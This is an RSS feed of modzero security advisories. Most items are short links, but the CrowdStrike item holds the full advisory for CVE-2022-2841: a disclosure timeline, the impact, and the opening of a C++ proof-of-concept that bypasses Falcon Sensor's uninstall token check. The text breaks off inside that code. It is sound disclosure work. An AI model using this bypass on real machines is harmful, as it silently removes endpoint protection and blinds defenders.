<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="https://www.w3.org/2005/Atom" xmlns:content="https://purl.org/rss/1.0/modules/content/"><channel><title>modzero / Advisories</title><link>https://modzero.com/en/advisories/</link><description>All advisories from modzero. Also read our Disclosure Policy.</description><language>en</language><lastBuildDate>Thu, 23 Mar 2023 16:40:17 +0100</lastBuildDate><atom:link href="https://modzero.com/en/advisories/index.xml" rel="self" type="application/rss+xml"/><item><title>[MZ-25-03] INSTAR 2K+ and 4K Series</title><link>https://modzero.com/en/advisories/mz-25-03-instar/</link><pubDate>Tue, 12 Aug 2025 08:00:00 +0200</pubDate><author>Michael Imfeld</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-25-03-instar/</guid><description>Unauthenticated Remote Code Execution (RCE) in INSTAR 2K+ and 4K Series IP cameras</description><content:encoded>&lt;p>The full disclosure report can be found &lt;a href="/static/MZ-25-03_modzero_INSTAR.pdf">here&lt;/a>.&lt;/p>
</content:encoded></item><item><title>[MZ-25-02] Synology Active Backup for Microsoft 365</title><link>https://modzero.com/en/advisories/mz-25-02-synology-active-backup-m365/</link><pubDate>Fri, 27 Jun 2025 17:00:00 +0000</pubDate><author>Leonid Hartmann</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-25-02-synology-active-backup-m365/</guid><description>SynoOauth leaked credentials allowing unauthorized access to Microsoft Entra tenants using &amp;ldquo;Active Backup for Microsoft 365&amp;rdquo; (ABM)</description><content:encoded><![CDATA[<p>The standalone disclosure report can be found <a href="/static/MZ-25-02_modzero_Synology-Active-Backup-M365.pdf">here</a>. The full details are published in our <a href="https://modzero.com/en/blog/when-backups-open-backdoors-synology-active-backup-m365/">blog post</a>.</p>
]]></content:encoded></item><item><title>[MZ-25-01] Via Browser for Android</title><link>https://modzero.com/en/advisories/mz-25-01-via-browser/</link><pubDate>Thu, 27 Feb 2025 00:00:00 +0200</pubDate><author>Finn Westendorf</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-25-01-via-browser/</guid><description>Via Browser was affected by a universal Cross-Site Scripting (uXSS) issue</description><content:encoded>&lt;p>The full disclosure report can be found &lt;a href="/static/MZ-25-01_modzero_uXSS-in-Via-Browser.pdf">here&lt;/a>.&lt;/p>
</content:encoded></item><item><title>[MZ-24-01] MailCleaner</title><link>https://modzero.com/en/advisories/mz-24-01-mailcleaner/</link><pubDate>Mon, 29 Apr 2024 00:00:00 +0200</pubDate><author>Michael Imfeld, Pascal Zenker</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-24-01-mailcleaner/</guid><description>Unauthenticated Command Injection and Cross-Site Scripting (XSS) vulnerabilities in MailCleaner</description><content:encoded><![CDATA[<p>The full disclosure report can be found <a href="/static/MZ-24-01_modzero_MailCleaner.pdf">here</a>. Further details are published in our <a href="https://modzero.com/en/blog/beyond-the-at-symbol/">blog post</a>.</p>
]]></content:encoded></item><item><title>[MZ-23-01] Poly VoIP Devices</title><link>https://modzero.com/en/advisories/mz-23-01-poly-voip-devices/</link><pubDate>Fri, 29 Dec 2023 00:13:37 +0200</pubDate><author>Pascal Zenker, Christoph Wolff</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-23-01-poly-voip-devices/</guid><description>Several vulnerabilities in Poly VoIP devices</description><content:encoded><![CDATA[<p>The full disclosure report can be found <a href="/static/MZ-23-01_modzero_Poly_VoIP_Devices.pdf">here</a>, an overview of the vulnerabilities is given in <a href="https://modzero.com/en/blog/multiple-vulnerabilities-in-poly-products/">our announcement blog post</a>.</p>
]]></content:encoded></item><item><title>[MZ-22-03] Passwordstate</title><link>https://modzero.com/en/advisories/mz-22-03-passwordstate/</link><pubDate>Mon, 19 Dec 2022 20:42:38 +0200</pubDate><author>Pascal Zenker, Ubahnverleih, Jan Benninger</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-22-03-passwordstate/</guid><description>Multiple high severity vulnerabilities in Passwordstate by Click Studios</description><content:encoded><![CDATA[<p>The full disclosure report can be found <a href="/static/MZ-22-03_Passwordstate_Security_Disclosure_Report-v1.0.pdf">here</a>, an overview of the vulnerabilities is given in <a href="https://modzero.com/en/blog/better-make-sure-your-password-manager-is-secure/">our announcement blog post</a>.</p>
]]></content:encoded></item><item><title>[MZ-22-02] CrowdStrike FalconSensor</title><link>https://modzero.com/en/advisories/mz-22-02-crowdstrike-falconsensor/</link><pubDate>Mon, 22 Aug 2022 20:42:38 +0200</pubDate><author>Pascal Zenker, Max Moser</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-22-02-crowdstrike-falconsensor/</guid><description>Uninstall Protection Bypass for CrowdStrike Falcon Sensor</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span><span class="lnt">381
</span><span class="lnt">382
</span><span class="lnt">383
</span><span class="lnt">384
</span><span class="lnt">385
</span><span class="lnt">386
</span><span class="lnt">387
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">------------------------------------------------------------------v1-
</span></span><span class="line"><span class="cl">modzero Security Advisory [MZ-22-02]:
</span></span><span class="line"><span class="cl">Uninstall Protection Bypass for CrowdStrike Falcon Sensor
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CrowdStrike Falcon is a cloud-powered endpoint detection and response
</span></span><span class="line"><span class="cl">(EDR) and antivirus (AV)  solution. On each end-device  a lightweight
</span></span><span class="line"><span class="cl">managed  sensor  is  deployed  and  makes  use  of  the   cloud-based
</span></span><span class="line"><span class="cl">capabilities.  The  sensor  can   be  configured  with  a   uninstall
</span></span><span class="line"><span class="cl">protection.  It  prevents the  uninstallation  of CrowdStrike  Falcon
</span></span><span class="line"><span class="cl">sensor on the end-device without a one-time generated token.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Exploiting this vulnerability allows  an attacker with administrative
</span></span><span class="line"><span class="cl">privileges to  bypass the token  check on Windows end-devices  and to
</span></span><span class="line"><span class="cl">uninstall the  sensor from  the device without  proper authorization,
</span></span><span class="line"><span class="cl">effectively removing the device&#39;s EDR and AV protection.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/04    - Found   vulnerability  in   CrowdStrike  Falcon   Sensor
</span></span><span class="line"><span class="cl">             (6.31.14505.0)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/04 - modzero  asked  for   security  contact  @  CrowdStrike,
</span></span><span class="line"><span class="cl">             because their &#34;report a  security bug&#34; page only refered
</span></span><span class="line"><span class="cl">             to the hackerone Bug Bounty program.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/06 - CS  answered   that  modzero   can  use   the  hackerone
</span></span><span class="line"><span class="cl">             submission page, or  send an E-Mail to  their support at
</span></span><span class="line"><span class="cl">             support@crowdstrike.com.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/06 - modzero  asked   if  it   is  okay  to   send  sensitive
</span></span><span class="line"><span class="cl">             information  about  0day  vulnerabilities  to  support@.
</span></span><span class="line"><span class="cl">             modzero also told  CS that we are not  willing to accept
</span></span><span class="line"><span class="cl">             terms &amp; conditions  of hackerone, which is  why we asked
</span></span><span class="line"><span class="cl">             for a direct security contact.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/06 - CS offered  to enroll  modzero in  a private  bug bounty
</span></span><span class="line"><span class="cl">             program at  hackerone, under the conditions  that we are
</span></span><span class="line"><span class="cl">             willing to sign a mutual non-disclosure agreement.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/07 - to  prevent further  misunderstandings, modzero  told CS
</span></span><span class="line"><span class="cl">             again, that:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">             * We would like to submit a security related bug.
</span></span><span class="line"><span class="cl">             * We don&#39;t want to participate in any bug bounty
</span></span><span class="line"><span class="cl">               programs.
</span></span><span class="line"><span class="cl">             * We are not willing to sign any NDA because WE are the
</span></span><span class="line"><span class="cl">               ones, providing information to CS.
</span></span><span class="line"><span class="cl">             * We are not willing to accept any sort of terms and
</span></span><span class="line"><span class="cl">               conditions that are out of scope of well known hacker
</span></span><span class="line"><span class="cl">               ethics.
</span></span><span class="line"><span class="cl">             * We only want to get a reliable security contact on
</span></span><span class="line"><span class="cl">               their side.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">             Aditionally,  modzero  sent  a  link  to  their  current
</span></span><span class="line"><span class="cl">             vulnerability disclosure policy.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/07 - CS told us to send the report to bugs@ for review.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/13 - CS asked for the report.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/13 - modzero told CS  that we need a little bit  more time to
</span></span><span class="line"><span class="cl">             finish and double check everything before submitting.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/29 - modzero sent Security Advisory (draft), Proof of Concept
</span></span><span class="line"><span class="cl">             exploit sourcecode, executable and a Screencast video of
</span></span><span class="line"><span class="cl">             the PoC to CS.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/29 - CS  told  us,  that  we   were  testing  using  only  an
</span></span><span class="line"><span class="cl">             unsupported  version of  the Falcon  Sensor. CS  told us
</span></span><span class="line"><span class="cl">             about the  error message and  that they are not  able to
</span></span><span class="line"><span class="cl">             reproduce.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/05 - modzero told  CS that the  error message can  be ignored
</span></span><span class="line"><span class="cl">             and refered  to the  PoC screencast video. We also asked
</span></span><span class="line"><span class="cl">             for a recent (14-day trial)  version of Falcon Sensor to
</span></span><span class="line"><span class="cl">             provide reliable information if  the most recent version
</span></span><span class="line"><span class="cl">             is still vulnerable or not.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/05 - CS answered: &#34;We  do not provide trial  licenses as part
</span></span><span class="line"><span class="cl">             of this  process, however having  tested the PoC  on our
</span></span><span class="line"><span class="cl">             end with  a modern sensor this  does not appear to  be a
</span></span><span class="line"><span class="cl">             valid issue.&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/05 - modzero  announced publishing  the advisory  and exploit
</span></span><span class="line"><span class="cl">             code by end  of week, asking if the quote  of CS &#34;Having
</span></span><span class="line"><span class="cl">             tested the PoC on our end with a modern sensor this does
</span></span><span class="line"><span class="cl">             not  appear to  be a  valid issue&#34;  can be  used in  our
</span></span><span class="line"><span class="cl">             report.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/06 - CS asking for a  meeting between modzero&#39;s Sr Leadership
</span></span><span class="line"><span class="cl">             and CS to  discuss next steps related to  the bug bounty
</span></span><span class="line"><span class="cl">             disclosure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/07/07 - modzero, again,  told CS, that we  are not participating
</span></span><span class="line"><span class="cl">             in any bug  bounty program and that there is  no need to
</span></span><span class="line"><span class="cl">             discuss NDAs or bug bounty programs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/08/12 - modzero managed to acquire a recent version (6.42.15610)
</span></span><span class="line"><span class="cl">             of CrowdStrike  Falcon and verified, that  the attack is
</span></span><span class="line"><span class="cl">             still  possible. Furthermore,  modzero figured  out that
</span></span><span class="line"><span class="cl">             the  vulnerability  (that  was rejected  by  CrowdStrike
</span></span><span class="line"><span class="cl">             first) has  been silently fixed:  The PoC that  has been
</span></span><span class="line"><span class="cl">             sent  to  CrowdStrike  was  flagged  as  malicious.  The
</span></span><span class="line"><span class="cl">             msiexec  call of  the  deinstaller was  also flagged  as
</span></span><span class="line"><span class="cl">             malicious.  Both &#34;countermeasures&#34;  can be  circumvented
</span></span><span class="line"><span class="cl">             easily, we updated the exploit accordingly.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/08/22 - modzero   publishes   Security  Advisory   and   exploit
</span></span><span class="line"><span class="cl">             code,  because  CrowdStrike  was  unwilling  to  set  up
</span></span><span class="line"><span class="cl">             a  cooperative  information  exchange outside  of  their
</span></span><span class="line"><span class="cl">             NDA-ridden bug bounty program to discuss vulnerabilities
</span></span><span class="line"><span class="cl">             in their products.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">2. Summary
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vendor: CrowdStrike
</span></span><span class="line"><span class="cl">Homepage: https://www.crowdstrike.com/endpoint-security-products/falcon-endpoint-protection-enterprise/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Error Class:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* CWE-691: Insufficient Control Flow Management
</span></span><span class="line"><span class="cl">(https://cwe.mitre.org/data/definitions/691.html)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  code  does  not  sufficiently manage  its  control  flow  during
</span></span><span class="line"><span class="cl">execution,  creating conditions  in  which the  control  flow can  be
</span></span><span class="line"><span class="cl">modified in unexpected ways.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Products known to be affected:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* CrowdStrike Falcon (6.31.14505.0)
</span></span><span class="line"><span class="cl">* CrowdStrike Falcon (6.42.15610)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Please note: Other versions might be affected as
</span></span><span class="line"><span class="cl">well, but were not tested by modzero.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CVE-ID: CVE-2022-2841
</span></span><span class="line"><span class="cl">Severity: Medium/4.4 (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)
</span></span><span class="line"><span class="cl">Vendor: CrowdStrike
</span></span><span class="line"><span class="cl">Product: CrowdStrike Falcon
</span></span><span class="line"><span class="cl">Version: 6.42.15610
</span></span><span class="line"><span class="cl">Attack type: Local
</span></span><span class="line"><span class="cl">Affected Components: Uninstall Protection
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">3. Details
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CrowdStrike  Falcon is  a cloud-native  antivirus (AV)  and  endpoint
</span></span><span class="line"><span class="cl">detection and response (EDR) solution for end-devices. A sensor agent
</span></span><span class="line"><span class="cl">is deployed on each end-device,  which are then managed and connected
</span></span><span class="line"><span class="cl">with a cloud monitoring system.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The &#34;Uninstall Protection&#34;  feature allows to  lock down devices  and
</span></span><span class="line"><span class="cl">prevent  device users,  including administrators,  from removing  the
</span></span><span class="line"><span class="cl">sensor agent without a one-time, device-specific maintenance token.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">During  a  security  analysis modzero  was  required  to uninstall  a
</span></span><span class="line"><span class="cl">CrowdStrike  Falcon  Sensor  installation  on  a  Windows workstation
</span></span><span class="line"><span class="cl">without having access to the maintenance token.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">After analysing the  software removal procedure,  it was possible  to
</span></span><span class="line"><span class="cl">develop  an  automated  proof of  concept  tool,  which corrupts  the
</span></span><span class="line"><span class="cl">CrowdStrike Falcon Sensor removal process. As a result, the procedure
</span></span><span class="line"><span class="cl">ignores the maintenance token check.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This allows an  attacker with administrator  rights to uninstall  and
</span></span><span class="line"><span class="cl">stop  the CrowdStrike  Falcon Sensor  and its  corresponding  Windows
</span></span><span class="line"><span class="cl">services without a valid token.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">4. Impact
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An attacker with administrative access  to a machine, can bypass  the
</span></span><span class="line"><span class="cl">&#34;Uninstall Protection&#34; of the CrowdStrike Falcon Sensor.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The   attack   removes   the   software,   leaving   the  CrowdStrike
</span></span><span class="line"><span class="cl">administrator  in  the  dark  about  potential  attacks  on  the  now
</span></span><span class="line"><span class="cl">unprotected endpoint.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This is particularly  undesirable, given that this is a  cloud-native
</span></span><span class="line"><span class="cl">service where customers expect alerts for security-related actions.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">5. Proof of Concept
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The following proof of concept code allows an administrator to remove
</span></span><span class="line"><span class="cl">the CrowdStrike Falcon Sensor without maintenance token:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// CrowdStrike Falcon Sensor
</span></span><span class="line"><span class="cl">// De-Installation Auth-Bypass Proof-of-Concept
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// Falcon Sensor is installed with an uninstall protection, to prevent unauthorized administrators
</span></span><span class="line"><span class="cl">// from removing Falcon Sensor. The following Proof-of-Concept exploit allows to bypass the
</span></span><span class="line"><span class="cl">// uninstall protection (token check). This can be used to remove the endpoint&#39;s EDR and AV protection.
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// References:
</span></span><span class="line"><span class="cl">// - modzero MZ-22-02 Security Advisory
</span></span><span class="line"><span class="cl">// - CVE: CVE-2022-2841
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// Version: 0.3
</span></span><span class="line"><span class="cl">// Secrecy: CONFIDENTIAL
</span></span><span class="line"><span class="cl">// Copyright 2022, modzero AG, Wartstr. 20, 8400 Winterthur, Switzerland
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">// Usage example:
</span></span><span class="line"><span class="cl">//   .\CSFalconTokenBypass.exe &#39;C:\ProgramData\Package Cache\{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}v6.XX.XX.0\CsAgent.LionLanner.msi&#39;
</span></span><span class="line"><span class="cl">//
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">#pragma once
</span></span><span class="line"><span class="cl">#define _CRT_SECURE_NO_WARNINGS
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">#include &lt;windows.h&gt;
</span></span><span class="line"><span class="cl">#include &lt;stdio.h&gt;
</span></span><span class="line"><span class="cl">#include &lt;tchar.h&gt;
</span></span><span class="line"><span class="cl">#include &lt;psapi.h&gt;
</span></span><span class="line"><span class="cl">#include &lt;list&gt;
</span></span><span class="line"><span class="cl">#include &lt;iostream&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">std::list&lt;int&gt; g_msiexec_instances = {};
</span></span><span class="line"><span class="cl">int g_msiexec_instance_count = 0;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">void CheckProcess(DWORD process_id)
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">    TCHAR process_name[MAX_PATH] = { 0 };
</span></span><span class="line"><span class="cl">    HANDLE h_proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    if (nullptr != h_proc) {
